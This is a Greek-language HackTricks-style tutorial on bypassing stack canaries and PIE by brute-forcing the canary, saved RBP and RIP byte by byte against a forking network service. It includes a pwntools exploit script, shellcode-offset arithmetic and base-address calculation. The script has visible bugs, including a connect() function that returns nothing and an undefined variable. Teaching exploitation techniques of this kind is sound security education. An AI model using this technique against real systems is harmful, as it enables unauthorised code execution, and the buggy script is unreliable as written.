BF Addresses in the Stack

Υποστηρίξτε το HackTricks

Αν αντιμετωπίζετε ένα δυαδικό που προστατεύεται από ένα canary και το PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.

Σημειώστε ότι το checksec ενδέχεται να μην εντοπίσει ότι ένα δυαδικό προστατεύεται από ένα canary αν αυτό έχει συντακτεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία. Ωστόσο, μπορείτε να παρατηρήσετε χειροκίνητα αυτό αν βρείτε ότι μια τιμή αποθηκεύεται στη στοίβα στην αρχή μιας κλήσης συνάρτησης και αυτή η τιμή ελέγχεται πριν την έξοδο.

Διευθύνσεις Brute-Force

Για να παρακάμψετε το PIE χρειάζεστε να διαρρεύσετε μια διεύθυνση. Και αν το δυαδικό δεν διαρρέει καμία διεύθυνση, το καλύτερο είναι να δοκιμάσετε βίαια το RBP και το RIP που αποθηκεύονται στη στοίβα στην ευάλωτη συνάρτηση. Για παράδειγμα, αν ένα δυαδικό προστατεύεται χρησιμοποιώντας τόσο ένα canary όσο και το PIE, μπορείτε να αρχίσετε τη βίαιη δοκιμή του canary, στη συνέχεια τα επόμενα 8 Bytes (x64) θα είναι το αποθηκευμένο RBP και τα επόμενα 8 Bytes θα είναι το αποθηκευμένο RIP.

Υποθέτεται ότι η διεύθυνση επιστροφής μέσα στη στοίβα ανήκει στον κύριο κώδικα του δυαδικού, ο οποίος, αν η ευπάθεια βρίσκεται στον κώδικα του δυαδικού, συνήθως θα είναι η περίπτωση.

Για να δοκιμάσετε βίαια το RBP και το RIP από το δυαδικό μπορείτε να συμπεράνετε ότι ένα έγκυρο μαντεμένο byte είναι σωστό αν το πρόγραμμα εμφανίζει κάτι ή απλά δεν καταρρέει. Η ίδια συνάρτηση που παρέχεται για τη βίαιη δοκιμή του canary μπορεί να χρησιμοποιηθεί για τη βίαιη δοκιμή του RBP και του RIP:

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

# CANARY BF HERE
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

# PIE BF FROM HERE
print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Το τελευταίο πράγμα που χρειάζεστε για να ξεπεράσετε το PIE είναι να υπολογίσετε χρήσιμες διευθύνσεις από τις διευθύνσεις που διέρρευσαν: το RBP και το RIP.

Από το RBP μπορείτε να υπολογίσετε πού γράφετε το shell σας στο stack. Αυτό μπορεί να είναι πολύ χρήσιμο για να γνωρίζετε πού θα γράψετε το string "/bin/sh\x00" μέσα στο stack. Για να υπολογίσετε την απόσταση μεταξύ του διερραγμένου RBP και του shellcode σας, μπορείτε απλά να τοποθετήσετε ένα σημείο ανακοπής μετά τη διαρροή του RBP και να ελέγξετε πού βρίσκεται ο κώδικας του shell σας, έπειτα, μπορείτε να υπολογίσετε την απόσταση μεταξύ του shellcode και του RBP:

INI_SHELLCODE = RBP - 1152

Από τον RIP μπορείτε να υπολογίσετε τη βασική διεύθυνση του δυναμικού εκτελέσιμου αρχείου (PIE binary) το οποίο θα χρειαστείτε για να δημιουργήσετε μια έγκυρη ROP αλυσίδα. Για να υπολογίσετε τη βασική διεύθυνση, απλώς εκτελέστε objdump -d vunbinary και ελέγξτε τις τελευταίες διευθύνσεις αποσυναρμολόγησης:

Σε αυτό το παράδειγμα μπορείτε να δείτε ότι χρειάζεται μόνο 1 Byte και μισό για να εντοπίσετε όλο τον κώδικα, έτσι, η βασική διεύθυνση σε αυτήν την κατάσταση θα είναι η διέρρευση του RIP αλλά να τελειώνει σε "000". Για παράδειγμα, αν διέρρευσετε 0x562002970ecf η βασική διεύθυνση θα είναι 0x562002970000

elf.address = RIP - (RIP & 0xfff)

Βελτιώσεις

Σύμφωνα με μερικές παρατηρήσεις από αυτήν την ανάρτηση, είναι δυνατόν όταν διαρρέει τις τιμές RBP και RIP, ο διακομιστής να μην καταρρέει με μερικές τιμές που δεν είναι οι σωστές και το σενάριο BF θα νομίζει ότι πήρε τις σωστές. Αυτό συμβαίνει επειδή είναι δυνατόν ότι μερικές διευθύνσεις απλά δεν θα το σπάσουν ακόμα κι αν δεν είναι ακριβώς οι σωστές.

Σύμφωνα με αυτήν την ανάρτηση στο blog, συνιστάται να προστεθεί μια μικρή καθυστέρηση μεταξύ των αιτημάτων προς τον διακομιστή.

Last updated